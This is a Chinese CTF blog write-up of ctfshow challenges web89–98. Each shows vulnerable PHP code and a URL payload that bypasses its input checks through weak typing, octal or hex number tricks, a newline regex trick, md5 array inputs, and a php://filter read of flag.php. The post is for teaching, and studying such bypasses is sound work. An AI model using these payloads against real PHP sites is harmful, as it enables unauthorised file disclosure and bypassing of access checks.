ctfshow web89-98

ctfshow web89 起 PHP 弱类型相关题解

Published
Reading
1 min
Category
CTF
Tags
弱类型ctfshowphp
On this page
  1. web89
  2. web90
  3. web91
  4. web92
  5. web93
  6. web94
  7. web95
  8. web96
  9. web97
  10. web98

web89

<?php  
include("flag.php");  
highlight_file(__FILE__);  
  
if(isset($_GET['num'])){    $num = $_GET['num'];  
    if(preg_match("/[0-9]/", $num)){  
        die("no no no!");  
    }  
    if(intval($num)){  
        echo $flag;  
    }  
}

payload: ?num[]=1

preg_match接收数组后返回false,绕过die

intval在数组非空时返回1,故输出flag

web90

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

payload: ?num=+4476

web91

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

payload: ?cmd=php%0aa

两次 preg_match 对参数 cmd 做校验:第一次带 m(多行)修饰符,第二次不带 。利用换行符 %0a 构造多行输入,使多行模式下能匹配单行 php、而单行模式下整串不匹配 ^php$,即可绕过进入 else 分支输出 flag。

web92

<?php
    
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

payload: ?num=0x117c

  1. num==4476 弱比较,转换成十六进制(0x117c)绕过
  2. intval($num,0) 的第二个参数 0 表示按字符串前缀自动判进制

web93

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){   //弱比较 ==4476
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){  //不能含字母
        die("no no no!");
    }
    if(intval($num,0)==4476){   //自动判断进制,==4476
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

因为不能含字母,故十六进制不能用(前缀0x包含x),所以用八进制绕过

4476 -> 010574(八进制)

payload:?num=010574

web94

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){  //强比较,===
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){   //禁字母
        die("no no no!");
    }
    if(!strpos($num, "0")){   //返回0首次出现位置,这里即要有0,但不能在首位
        die("no no no!");
    }
    if(intval($num,0)===4476){   //自动判断进制,===4476
        echo $flag;
    }
}

payload:?num=+010574

因为intval是获取整数值,故也能用浮点数绕过

?num=4476.01

web95

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

payload:?num=+010574

web96

<?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

payload:?u=./flag.php

或者伪协议

?u=php://filter/read=convert.base64-encode/resource=flag.php

web97

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

md5碰撞

第一种传两个不同但md5值相同的字符串

第二种传数组:

md5()无法处理数组,传入数组会返回NULL

payload:a[]=1&b[]=2

web98

<?php

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>
Author
YU030X
Published

Images are sourced from the internet. Please contact me for removal if necessary.

Comments

Type to search posts and pages.

K to open · esc to closeSearch by Pagefind